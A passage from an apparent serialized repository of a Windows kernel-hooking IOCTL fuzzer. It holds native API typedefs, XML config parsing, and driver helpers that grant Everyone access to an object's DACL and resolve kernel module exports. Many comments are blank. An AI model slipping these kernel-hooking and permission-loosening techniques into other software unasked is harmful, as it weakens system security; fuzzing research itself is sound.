IoStatusBlock,\n ULONG ShareAccess,\n ULONG OpenOptions\n);\n\ntypedef NTSTATUS (WINAPI * func_NtDeviceIoControlFile)(\n HANDLE FileHandle,\n HANDLE Event,\n PVOID ApcRoutine,\n PVOID ApcContext,\n PIO_STATUS_BLOCK IoStatusBlock,\n ULONG IoControlCode,\n PVOID InputBuffer,\n ULONG InputBufferLength,\n PVOID OutputBuffer,\n ULONG OutputBufferLength\n); \n\ntypedef NTSTATUS (WINAPI * func_NtOpenDirectoryObject)(\n PHANDLE DirectoryHandle,\n ACCESS_MASK DesiredAccess,\n POBJECT_ATTRIBUTES ObjectAttributes\n);\n\ntypedef NTSTATUS (WINAPI * func_NtQueryDirectoryObject)(\n HANDLE DirectoryHandle,\n PVOID Buffer,\n ULONG BufferLength,\n BOOLEAN ReturnSingleEntry,\n BOOLEAN RestartScan,\n PULONG Context,\n PULONG ReturnLength\n);\n\ntypedef NTSTATUS (WINAPI * func_NtOpenSymbolicLinkObject)(\n PHANDLE SymbolicLinkHandle,\n ACCESS_MASK DesiredAccess,\n POBJECT_ATTRIBUTES ObjectAttributes\n);\n\ntypedef NTSTATUS (WINAPI * func_NtQuerySymbolicLinkObject)(\n HANDLE SymbolicLinkHandle,\n PUNICODE_STRING TargetName,\n PULONG ReturnLength\n);\n\ntypedef NTSTATUS (WINAPI * func_NtQueryInformationFile)(\n HANDLE FileHandle,\n PIO_STATUS_BLOCK IoStatusBlock,\n PVOID FileInformation,\n ULONG Length,\n FILE_INFORMATION_CLASS FileInformationClass\n);\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/xml.cpp", "content": "#include \"stdafx.h\"\n//--------------------------------------------------------------------------------------\n/** \n* xml \n* @param data xml \n* @return TRUE , FALSE \n*/\nBOOL XmlLoad(PWSTR lpwcData, IXMLDOMDocument **pXMLDoc, IXMLDOMNode **pIDOMRootNode, PWSTR lpwcRootNodeName)\n{\n BOOL bOk = FALSE;\n VARIANT_BOOL status;\n\n // initialize COM\n HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);\n if (FAILED(hr))\n {\n DbgMsg(__FILE__, __LINE__, \"CoInitializeEx() ERROR 0x%.8x\\n\", hr);\n return FALSE;\n } \n\n // create new msxml document instance\n hr = CoCreateInstance(CLSID_DOMDocument, NULL, CLSCTX_INPROC_SERVER, \n IID_IXMLDOMDocument, (void **)pXMLDoc);\n if (FAILED(hr)) \n {\n DbgMsg(__FILE__, __LINE__, \"CoCreateInstance() ERROR 0x%.8x\\n\", hr);\n return FALSE;\n } \n\n hr = (*pXMLDoc)->loadXML(lpwcData, &status);\n if (status != VARIANT_TRUE)\n {\n DbgMsg(__FILE__, __LINE__, \"pXMLDoc->load() ERROR 0x%.8x\\n\", hr);\n goto end;\n }\n\n // xml , \n // 'logger'\n IXMLDOMNodeList *pIDOMRootNodeList;\n hr = (*pXMLDoc)->get_childNodes(&pIDOMRootNodeList);\n if (SUCCEEDED(hr))\n {\n *pIDOMRootNode = ConfGetListNodeByName(lpwcRootNodeName, pIDOMRootNodeList);\n if (*pIDOMRootNode)\n {\n bOk = TRUE;\n } \n\n pIDOMRootNodeList->Release(); \n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"pXMLDoc->get_childNodes() ERROR 0x%.8x\\n\", hr);\n } \n\nend:\n\n if (!bOk)\n {\n // \n // \n (*pXMLDoc)->Release();\n *pXMLDoc = NULL;\n }\n\n return bOk;\n}\n//--------------------------------------------------------------------------------------\n/** \n * xml- \n * @param NodeName \n * @param pIDOMNodeList \n * @return , NULL \n * @see ConfGetNodeByName() \n * @see ConfGetNodeText() \n * @see ConfGetTextByName()\n */\nIXMLDOMNode * ConfGetListNodeByName(BSTR NodeName, IXMLDOMNodeList *pIDOMNodeList)\n{ \n IXMLDOMNode *Ret = NULL;\n LONG len = 0;\n \n if (pIDOMNodeList == NULL)\n {\n return NULL;\n }\n\n HRESULT hr = pIDOMNodeList->get_length(&len);\n if (SUCCEEDED(hr))\n {\n pIDOMNodeList->reset();\n for (int i = 0; i < len; i++)\n {\n IXMLDOMNode *pIDOMChildNode = NULL;\n hr = pIDOMNodeList->get_item(i, &pIDOMChildNode);\n if (SUCCEEDED(hr))\n {\n BSTR ChildNodeName = NULL;\n hr = pIDOMChildNode->get_nodeName(&ChildNodeName);\n if (SUCCEEDED(hr))\n {\n if (!wcscmp(NodeName, ChildNodeName))\n {\n Ret = pIDOMChildNode;\n }\n } \n\n if (ChildNodeName)\n {\n SysFreeString(ChildNodeName); \n }\n\n if (Ret)\n {\n return Ret;\n }\n\n pIDOMChildNode->Release();\n pIDOMChildNode = NULL; \n } \n else \n {\n DbgMsg(__FILE__, __LINE__, \"pIDOMNodeList->get_item() ERROR 0x%.8x\\n\", hr);\n }\n }\n } \n else \n {\n DbgMsg(__FILE__, __LINE__, \"pIDOMNodeList->get_length() ERROR 0x%.8x\\n\", hr);\n }\n\n return NULL;\n}\n//--------------------------------------------------------------------------------------\n/** \n * \n * @param NodeName \n * @param pIDOMNode \n * @return , NULL \n * @see ConfGetListNodeByName() \n * @see ConfGetNodeText() \n * @see ConfGetTextByName()\n */\nIXMLDOMNode * ConfGetNodeByName(BSTR NodeName, IXMLDOMNode *pIDOMNode)\n{\n IXMLDOMNode *pIDOMRetNode = NULL;\n IXMLDOMNodeList *pIDOMNodeList = NULL;\n\n if (pIDOMNode == NULL)\n {\n return NULL;\n }\n\n HRESULT hr = pIDOMNode->get_childNodes(&pIDOMNodeList);\n if (SUCCEEDED(hr) && pIDOMNodeList)\n {\n pIDOMRetNode = ConfGetListNodeByName(NodeName, pIDOMNodeList);\n pIDOMNodeList->Release(); \n } \n else \n {\n DbgMsg(__FILE__, __LINE__, \"pIDOMNodeList->get_length() ERROR 0x%.8x\\n\", hr);\n }\n\n return pIDOMRetNode;\n} \n//--------------------------------------------------------------------------------------\n/** \n * \n * @param pIDOMNode \n * @param str unicode-, \n * @return TRUE , FALSE \n * @see ConfGetListNodeByName() \n * @see ConfGetNodeByName() \n * @see ConfGetTextByName()\n */\nBOOL ConfGetNodeTextW(IXMLDOMNode *pIDOMNode, PWSTR *str)\n{\n BOOL bRet = FALSE;\n BSTR val = NULL;\n\n if (pIDOMNode == NULL)\n {\n return FALSE;\n }\n\n HRESULT hr = pIDOMNode->get_text(&val);\n if (FAILED(hr))\n {\n DbgMsg(__FILE__, __LINE__, \"pIDOMNode->get_text() ERROR 0x%.8x\\n\", hr);\n return FALSE;\n }\n\n DWORD Len = (wcslen((PWSTR)val) + 1) * sizeof(WCHAR);\n if (*str = (PWSTR)M_ALLOC(Len))\n {\n ZeroMemory(*str, Len);\n wcscpy_s(*str, Len / sizeof(wchar_t), (PWSTR)val);\n bRet = TRUE;\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"M_ALLOC() ERROR %d\\n\", GetLastError());\n }\n\n if (val)\n {\n SysFreeString(val); \n } \n\n return bRet;\n}\n//--------------------------------------------------------------------------------------\n/** \n * \n * @param pIDOMNode \n * @param str unicode-, \n * @return TRUE , FALSE \n * @see ConfGetListNodeByName() \n * @see ConfGetNodeByName() \n * @see ConfGetTextByName()\n */\nBOOL ConfGetNodeTextA(IXMLDOMNode *pIDOMNode, PCHAR *str)\n{\n BOOL bRet = FALSE;\n PWSTR str_w;\n\n if (ConfGetNodeTextW(pIDOMNode, &str_w))\n {\n int len = wcslen(str_w);\n if (*str = (PCHAR)M_ALLOC(len + 1))\n {\n ZeroMemory(*str, len + 1);\n WideCharToMultiByte(CP_ACP, 0, str_w, -1, *str, len, NULL, NULL); \n bRet = TRUE;\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"M_ALLOC() ERROR %d\\n\", GetLastError());\n }\n\n M_FREE(str_w);\n }\n\n return bRet;\n}\n//--------------------------------------------------------------------------------------\n/** \n * \n * @param pIDOMNode \n * @param name , \n * @param val unicode-, \n * @return TRUE , FALSE \n * @see ConfGetListNodeByNameA() \n * @see ConfGetListNodeByName() \n * @see ConfGetNodeByName() \n * @see ConfGetNodeText() \n * @see ConfGetTextByName()\n */\nBOOL ConfAllocGetTextByNameW(IXMLDOMNode *pIDOMNode, PWSTR name, PWSTR *value)\n{\n BOOL bRet = FALSE;\n \n IXMLDOMNode *pIDOMChildNode = ConfGetNodeByName(name, pIDOMNode);\n if (pIDOMChildNode)\n {\n bRet = ConfGetNodeTextW(pIDOMChildNode, value); \n \n pIDOMChildNode->Release();\n }\n\n return bRet;\n}\n//--------------------------------------------------------------------------------------\n/** \n * \n * @param pIDOMNode \n * @param name , \n * @param val unicode-, \n * @return TRUE , FALSE \n * @see ConfGetListNodeByNameW() \n * @see ConfGetListNodeByName() \n * @see ConfGetNodeByName() \n * @see ConfGetNodeText() \n * @see ConfGetTextByName()\n */\nBOOL ConfAllocGetTextByNameA(IXMLDOMNode *pIDOMNode, PWSTR name, PCHAR *value)\n{\n BOOL bRet = FALSE;\n PWSTR value_w;\n\n if (ConfAllocGetTextByNameW(pIDOMNode, name, &value_w))\n {\n int len = wcslen(value_w);\n if (*value = (PCHAR)M_ALLOC(len + 1))\n {\n ZeroMemory(*value, len + 1);\n WideCharToMultiByte(CP_ACP, 0, value_w, -1, *value, len, NULL, NULL); \n bRet = TRUE;\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"M_ALLOC() ERROR %d\\n\", GetLastError());\n }\n\n M_FREE(value_w);\n }\n\n return bRet;\n}\n//--------------------------------------------------------------------------------------\nBOOL ConfGetNodeAttributeW(IXMLDOMNode *pIDOMNode, PWSTR name, PWSTR *value)\n{\n BOOL bRet = FALSE;\n IXMLDOMNamedNodeMap *pIXMLDOMNamedNodeMap = NULL;\n\n // query attributes map\n HRESULT hr = pIDOMNode->get_attributes(&pIXMLDOMNamedNodeMap);\n if (SUCCEEDED(hr) && pIXMLDOMNamedNodeMap)\n {\n IXMLDOMNode *pIDOMAttrNode = NULL;\n\n // query attribute node\n hr = pIXMLDOMNamedNodeMap->getNamedItem(name, &pIDOMAttrNode);\n if (SUCCEEDED(hr) && pIDOMAttrNode)\n {\n VARIANT varValue;\n hr = pIDOMAttrNode->get_nodeValue(&varValue);\n if (FAILED(hr))\n {\n DbgMsg(__FILE__, __LINE__, \"pIDOMAttrNode->get_nodeValue() ERROR 0x%.8x\\n\", hr);\n goto free;\n }\n\n BSTR val = _bstr_t(varValue);\n DWORD Len = (wcslen((PWSTR)val) + 1) * sizeof(WCHAR);\n if (*value = (PWSTR)M_ALLOC(Len))\n {\n ZeroMemory(*value, Len);\n wcscpy(*value, (PWSTR)val);\n bRet = TRUE;\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"M_ALLOC() ERROR %d\\n\", GetLastError());\n }\nfree:\n pIDOMAttrNode->Release();\n pIDOMAttrNode = NULL;\n }\n\n pIXMLDOMNamedNodeMap->Release();\n pIXMLDOMNamedNodeMap = NULL;\n }\n\n return bRet;\n}\n//--------------------------------------------------------------------------------------\nBOOL ConfGetNodeAttributeA(IXMLDOMNode *pIDOMNode, PWSTR name, PCHAR *value)\n{\n BOOL bRet = FALSE;\n PWSTR value_w;\n\n if (ConfGetNodeAttributeW(pIDOMNode, name, &value_w))\n {\n int len = wcslen(value_w);\n if (*value = (PCHAR)M_ALLOC(len + 1))\n {\n ZeroMemory(*value, len + 1);\n WideCharToMultiByte(CP_ACP, 0, value_w, -1, *value, len, NULL, NULL); \n bRet = TRUE;\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"M_ALLOC() ERROR %d\\n\", GetLastError());\n }\n\n M_FREE(value_w);\n }\n\n return bRet;\n}\n//--------------------------------------------------------------------------------------\n// EoF\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/xml.h", "content": "BOOL XmlLoad(PWSTR lpwcData, IXMLDOMDocument **pXMLDoc, IXMLDOMNode **pIDOMRootNode, PWSTR lpwcRootNodeName);\nIXMLDOMNode * ConfGetListNodeByName(BSTR NodeName, IXMLDOMNodeList *pIDOMNodeList);\nIXMLDOMNode * ConfGetNodeByName(BSTR NodeName, IXMLDOMNode *pIDOMNode);\nBOOL ConfGetNodeTextW(IXMLDOMNode *pIDOMNode, PWSTR *str);\nBOOL ConfGetNodeTextA(IXMLDOMNode *pIDOMNode, PCHAR *str);\nBOOL ConfAllocGetTextByNameW(IXMLDOMNode *pIDOMNode, PWSTR name, PWSTR *value);\nBOOL ConfAllocGetTextByNameA(IXMLDOMNode *pIDOMNode, PWSTR name, PCHAR *value);\nBOOL ConfGetNodeAttributeW(IXMLDOMNode *pIDOMNode, PWSTR name, PWSTR *value);\nBOOL ConfGetNodeAttributeA(IXMLDOMNode *pIDOMNode, PWSTR name, PCHAR *value);\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile.sln", "content": "\nMicrosoft Visual Studio Solution File, Format Version 10.00\n# Visual Studio 2008\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"HookDeviceIoControlFile\", \"HookDeviceIoControlFile\\HookDeviceIoControlFile.vcproj\", \"{04CCC70C-821D-48FA-A6CD-9F0765A2D25C}\"\nEndProject\nGlobal\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\n\t\tDebug|Win32 = Debug|Win32\n\t\tDebug|x64 = Debug|x64\n\t\tRelease|Win32 = Release|Win32\n\t\tRelease|x64 = Release|x64\n\tEndGlobalSection\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\n\t\t{04CCC70C-821D-48FA-A6CD-9F0765A2D25C}.Debug|Win32.ActiveCfg = Debug|Win32\n\t\t{04CCC70C-821D-48FA-A6CD-9F0765A2D25C}.Debug|Win32.Build.0 = Debug|Win32\n\t\t{04CCC70C-821D-48FA-A6CD-9F0765A2D25C}.Debug|x64.ActiveCfg = Debug|x64\n\t\t{04CCC70C-821D-48FA-A6CD-9F0765A2D25C}.Debug|x64.Build.0 = Debug|x64\n\t\t{04CCC70C-821D-48FA-A6CD-9F0765A2D25C}.Release|Win32.ActiveCfg = Release|Win32\n\t\t{04CCC70C-821D-48FA-A6CD-9F0765A2D25C}.Release|Win32.Build.0 = Release|Win32\n\t\t{04CCC70C-821D-48FA-A6CD-9F0765A2D25C}.Release|x64.ActiveCfg = Release|x64\n\t\t{04CCC70C-821D-48FA-A6CD-9F0765A2D25C}.Release|x64.Build.0 = Release|x64\n\tEndGlobalSection\n\tGlobalSection(SolutionProperties) = preSolution\n\t\tHideSolutionNode = FALSE\n\tEndGlobalSection\nEndGlobal\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/ioctlfuzzer.xml", "content": " \n\n \n C:\\ioctlfuzzer.log \n\n \n true \n\n \n true \n\n \n true \n \n \n false \n\n \n\n \n \n\n \n \n \n\n \n \n \n \n \n\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/HookDeviceIoControlFile.vcproj", "content": "\n\n\t\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\n\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\n\t\n\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\n\t\n\t\n\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/common.c", "content": "#include \"stdafx.h\"\n//--------------------------------------------------------------------------------------\n#ifndef _NTIFS_INCLUDED_\n\ntypedef struct _ACE_HEADER \n{\n UCHAR AceType;\n UCHAR AceFlags;\n USHORT AceSize;\n\n} ACE_HEADER;\ntypedef ACE_HEADER *PACE_HEADER;\n\ntypedef struct _ACCESS_ALLOWED_ACE \n{\n ACE_HEADER Header;\n ACCESS_MASK Mask;\n ULONG SidStart;\n\n} ACCESS_ALLOWED_ACE;\n\ntypedef struct _SID \n{\n UCHAR Revision;\n UCHAR SubAuthorityCount;\n SID_IDENTIFIER_AUTHORITY IdentifierAuthority;\n\n ULONG SubAuthority[ANYSIZE_ARRAY];\n\n} SID, *PISID;\n\n#endif\n\nBOOLEAN SetObjectSecurityWorld(HANDLE hObject, ACCESS_MASK AccessMask)\n{\n BOOLEAN bRet = FALSE;\n\tPSECURITY_DESCRIPTOR Descr = NULL;\n\n ULONG SdLength = 0;\n // query security descriptor length\n NTSTATUS ns = ZwQuerySecurityObject(hObject, DACL_SECURITY_INFORMATION, NULL, 0, &SdLength); \n if (ns != STATUS_BUFFER_TOO_SMALL) \n { \n DbgMsg(__FILE__, __LINE__, \"ZwQuerySecurityObject() fails; status: 0x%.8x\\n\", ns);\n return FALSE; \n } \n\n // allocate memory for security descriptor\n Descr = (PSECURITY_DESCRIPTOR)M_ALLOC(SdLength);\n if (Descr)\n {\n // query security descriptor\n ns = ZwQuerySecurityObject(hObject, DACL_SECURITY_INFORMATION, Descr, SdLength, &SdLength); \n if (NT_SUCCESS(ns)) \n {\n BOOLEAN DaclPresent = FALSE, DaclDefaulted = FALSE;\n PACL OldDacl = NULL;\n\n // get descriptor's DACL\n ns = RtlGetDaclSecurityDescriptor(\n Descr, \n &DaclPresent, \n &OldDacl, \n &DaclDefaulted\n ); \n if (NT_SUCCESS(ns)) \n { \n #define SID_REVISION (1) // Current revision level\n\n #define SECURITY_WORLD_SID_AUTHORITY {0,0,0,0,0,1}\n #define SECURITY_WORLD_RID (0x00000000L)\n\n SID Sid;\n SID_IDENTIFIER_AUTHORITY SidAuth = SECURITY_WORLD_SID_AUTHORITY; \n \n RtlZeroMemory(&Sid, sizeof(Sid));\n \n // initialize SID\n Sid.Revision = SID_REVISION;\n Sid.SubAuthorityCount = 1;\n Sid.IdentifierAuthority = SidAuth;\n Sid.SubAuthority[0] = SECURITY_WORLD_RID;\n \n if (RtlValidSid(&Sid)) \n {\n\t\t\t\t\tPACL NewDacl = NULL;\n // calculate new DACL size\n ULONG NewDaclSize = sizeof(ACCESS_ALLOWED_ACE) + RtlLengthSid(&Sid); \n if (DaclPresent && OldDacl)\n {\n NewDaclSize += OldDacl->AclSize;\n }\n\n // allocate new DACL\n NewDacl = (PACL)M_ALLOC(NewDaclSize);\n if (NewDacl)\n {\n // copy current DACL\n RtlCopyMemory(NewDacl, OldDacl, OldDacl->AclSize); \n NewDacl->AclSize = (USHORT)NewDaclSize; \n\n ns = RtlAddAccessAllowedAce(NewDacl, ACL_REVISION, AccessMask, &Sid); \n if (NT_SUCCESS(ns))\n {\n ns = RtlSelfRelativeToAbsoluteSD2(Descr, &SdLength); \n if (NT_SUCCESS(ns)) \n { \n // update descriptor's DACL\n ns = RtlSetDaclSecurityDescriptor(Descr, TRUE, NewDacl, DaclDefaulted); \n if (NT_SUCCESS(ns)) \n { \n // set new security descriptor\n ns = ZwSetSecurityObject(hObject, DACL_SECURITY_INFORMATION, Descr); \n if (NT_SUCCESS(ns)) \n { \n bRet = TRUE;\n } \n else\n {\n DbgMsg(__FILE__, __LINE__, \"ZwSetSecurityObject() fails; status: 0x%.8x\\n\", ns);\n }\n } \n else\n {\n DbgMsg(__FILE__, __LINE__, \"RtlSetDaclSecurityDescriptor() fails; status: 0x%.8x\\n\", ns);\n } \n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"RtlSelfRelativeToAbsoluteSD2() fails; status: 0x%.8x\\n\", ns);\n } \n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"RtlAddAccessAllowedAce() fails; status: 0x%.8x\\n\", ns);\n }\n\n M_FREE(NewDacl);\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"ExAllocatePool() fails\\n\");\n }\n } \n } \n else\n {\n DbgMsg(__FILE__, __LINE__, \"RtlGetDaclSecurityDescriptor() fails; status: 0x%.8x\\n\", ns);\n }\n }\n else\n { \n DbgMsg(__FILE__, __LINE__, \"ZwQuerySecurityObject() fails; status: 0x%.8x\\n\", ns);\n } \n\n M_FREE(Descr);\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"ExAllocatePool() fails\\n\");\n }\n\n return bRet;\n}\n//--------------------------------------------------------------------------------------\nPVOID KernelGetModuleBase(char *ModuleName)\n{\n PVOID pModuleBase = NULL;\n\n\twchar_t *wcHalNames[] = \n\t{\n\t\tL\"hal.dll\", // Non-ACPI PIC HAL \n\t\tL\"halacpi.dll\", // ACPI PIC HAL\n\t\tL\"halapic.dll\", // Non-ACPI APIC UP HAL\n\t\tL\"halmps.dll\", // Non-ACPI APIC MP HAL\n\t\tL\"halaacpi.dll\", // ACPI APIC UP HAL\n\t\tL\"halmacpi.dll\" // ACPI APIC MP HAL\n\t};\n\n\n#define HAL_NAMES_NUM 6\n\n\n#define NT_NAMES_NUM 4\n\twchar_t *wcNtNames[] = \n\t{\n\t\tL\"ntoskrnl.exe\", // UP\n\t\tL\"ntkrnlpa.exe\", // UP PAE\n\t\tL\"ntkrnlmp.exe\", // MP\n\t\tL\"ntkrpamp.exe\" // MP PAE\n\t};\n\n\n\n UNICODE_STRING usCommonHalName, usCommonNtName;\n\n\tPRTL_PROCESS_MODULES Info = NULL;\n\n RtlInitUnicodeString(&usCommonHalName, L\"hal.dll\");\n RtlInitUnicodeString(&usCommonNtName, L\"ntoskrnl.exe\");\n\n\n Info = (PRTL_PROCESS_MODULES)GetSysInf(SystemModuleInformation);\n if (Info)\n {\n\t\tNTSTATUS ns = STATUS_UNSUCCESSFUL;\n ANSI_STRING asModuleName;\n UNICODE_STRING usModuleName;\n\n RtlInitAnsiString(&asModuleName, ModuleName);\n\n ns = RtlAnsiStringToUnicodeString(&usModuleName, &asModuleName, TRUE);\n if (NT_SUCCESS(ns))\n {\n\t\t\tULONG i = 0;\n for (i = 0; i < Info->NumberOfModules; i++)\n {\n\t\t\t\tNTSTATUS ns = STATUS_UNSUCCESSFUL;\n ANSI_STRING asEnumModuleName;\n UNICODE_STRING usEnumModuleName;\n\n RtlInitAnsiString(\n &asEnumModuleName, \n (char *)Info->Modules[i].FullPathName + Info->Modules[i].OffsetToFileName\n );\n\n ns = RtlAnsiStringToUnicodeString(&usEnumModuleName, &asEnumModuleName, TRUE);\n if (NT_SUCCESS(ns))\n { \n if (RtlEqualUnicodeString(&usModuleName, &usCommonHalName, TRUE))\n {\n\t\t\t\t\t\tint i_m = 0;\n // hal.dll passed as module name\n for (i_m = 0; i_m < HAL_NAMES_NUM; i_m++)\n {\n UNICODE_STRING usHalName;\n RtlInitUnicodeString(&usHalName, wcHalNames[i_m]);\n\n // compare module name from list with known HAL module name\n if (RtlEqualUnicodeString(&usEnumModuleName, &usHalName, TRUE))\n {\n pModuleBase = (PVOID)Info->Modules[i].ImageBase;\n break;\n }\n }\n }\n else if (RtlEqualUnicodeString(&usModuleName, &usCommonNtName, TRUE))\n {\n\t\t\t\t\t\tint i_m = 0;\n // ntoskrnl.exe passed as module name\n for (i_m = 0; i_m < NT_NAMES_NUM; i_m++)\n {\n UNICODE_STRING usNtName;\n RtlInitUnicodeString(&usNtName, wcNtNames[i_m]);\n\n // compare module name from list with known kernel module name\n if (RtlEqualUnicodeString(&usEnumModuleName, &usNtName, TRUE))\n {\n pModuleBase = (PVOID)Info->Modules[i].ImageBase;\n break;\n }\n }\n }\n else if (RtlEqualUnicodeString(&usModuleName, &usEnumModuleName, TRUE))\n {\n pModuleBase = (PVOID)Info->Modules[i].ImageBase;\n }\n\n RtlFreeUnicodeString(&usEnumModuleName);\n\n if (pModuleBase)\n {\n // module is found\n break;\n }\n } \n } \n\n RtlFreeUnicodeString(&usModuleName);\n } \n\n ExFreePool(Info);\n }\n\n return pModuleBase;\n}\n//--------------------------------------------------------------------------------------\nULONG KernelGetExportAddress(PVOID Image, char *lpszFunctionName)\n{\n __try\n {\n PIMAGE_EXPORT_DIRECTORY pExport = NULL;\n\n PIMAGE_NT_HEADERS32 pHeaders32 = (PIMAGE_NT_HEADERS32)\n ((PUCHAR)Image + ((PIMAGE_DOS_HEADER)Image)->e_lfanew);\n\n if (pHeaders32->FileHeader.Machine == IMAGE_FILE_MACHINE_I386)\n {\n // 32-bit image\n if (pHeaders32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress)\n {\n pExport = (PIMAGE_EXPORT_DIRECTORY)RVATOVA(\n Image,\n pHeaders32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress\n );\n } \n } \n else if (pHeaders32->FileHeader.Machine == IMAGE_FILE_MACHINE_AMD64)\n {\n // 64-bit image\n PIMAGE_NT_HEADERS64 pHeaders64 = (PIMAGE_NT_HEADERS64)\n ((PUCHAR)Image + ((PIMAGE_DOS_HEADER)Image)->e_lfanew);\n\n if (pHeaders64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress)\n {\n pExport = (PIMAGE_EXPORT_DIRECTORY)RVATOVA(\n Image,\n pHeaders64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress\n );\n }\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, __FUNCTION__\"() ERROR: Unkown machine type\\n\");\n return 0;\n }\n\n if (pExport)\n {\n PULONG AddressOfFunctions = (PULONG)RVATOVA(Image, pExport->AddressOfFunctions);\n PSHORT AddrOfOrdinals = (PSHORT)RVATOVA(Image, pExport->AddressOfNameOrdinals);\n PULONG AddressOfNames = (PULONG)RVATOVA(Image, pExport->AddressOfNames);\n\n\t\t\tULONG i = 0;\n for (i = 0; i < pExport->NumberOfFunctions; i++)\n {\n if (!strcmp((char *)RVATOVA(Image, AddressOfNames[i]), lpszFunctionName))\n {\n return AddressOfFunctions[AddrOfOrdinals[i]];\n }\n }\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"WARNING: Export directory not found\\n\");\n }\n }\n __except(EXCEPTION_EXECUTE_HANDLER)\n {\n DbgMsg(__FILE__, __LINE__, __FUNCTION__\"() EXCEPTION\\n\");\n }\n\n return 0;\n}\n//--------------------------------------------------------------------------------------\nPOBJECT_NAME_INFORMATION GetObjectName(PVOID pObject)\n{\n ULONG BuffSize = 0x100;\n POBJECT_NAME_INFORMATION ObjNameInfo;\n NTSTATUS ns = STATUS_UNSUCCESSFUL;\n\n while (TRUE)\n {\n if ((ObjNameInfo = (POBJECT_NAME_INFORMATION)ExAllocatePool(NonPagedPool, BuffSize)) == NULL)\n return FALSE;\n\n ns = ObQueryNameString(pObject, ObjNameInfo, BuffSize, &BuffSize);\n\n if (ns == STATUS_INFO_LENGTH_MISMATCH)\n { \n ExFreePool(ObjNameInfo);\n BuffSize += 0x100;\n }\n else\n break;\n }\n\n if (NT_SUCCESS(ns))\n {\n return ObjNameInfo;\n } \n\n if (ObjNameInfo)\n ExFreePool(ObjNameInfo);\n\n return NULL; \n}\n//--------------------------------------------------------------------------------------\n// get object name by its handle\nPOBJECT_NAME_INFORMATION GetObjectNameByHandle(HANDLE hObject)\n{\n PVOID pObject;\n NTSTATUS ns;\n POBJECT_NAME_INFORMATION ObjNameInfo = NULL;\n\n ns = ObReferenceObjectByHandle(hObject, 0, 0, KernelMode, &pObject, NULL);\n if (NT_SUCCESS(ns))\n {\n ObjNameInfo = GetObjectName(pObject);\n ObDereferenceObject(pObject);\n } \n else\n DbgMsg(__FILE__, __LINE__, \"ObReferenceObjectByHandle() fails; status: 0x%.8x\\n\", ns);\n\n return ObjNameInfo;\n}\n//--------------------------------------------------------------------------------------\nPOBJECT_NAME_INFORMATION GetFullNtPath(PUNICODE_STRING Name)\n{\n NTSTATUS ns;\n OBJECT_ATTRIBUTES ObjAttr;\n HANDLE hFile;\n IO_STATUS_BLOCK StatusBlock;\n POBJECT_NAME_INFORMATION ObjNameInf;\n\n InitializeObjectAttributes(&ObjAttr, Name, OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE , NULL, NULL);\n\n ns = ZwOpenFile(\n &hFile, \n FILE_READ_DATA | SYNCHRONIZE, \n &ObjAttr, \n &StatusBlock, \n FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, \n FILE_SYNCHRONOUS_IO_NONALERT\n );\n if 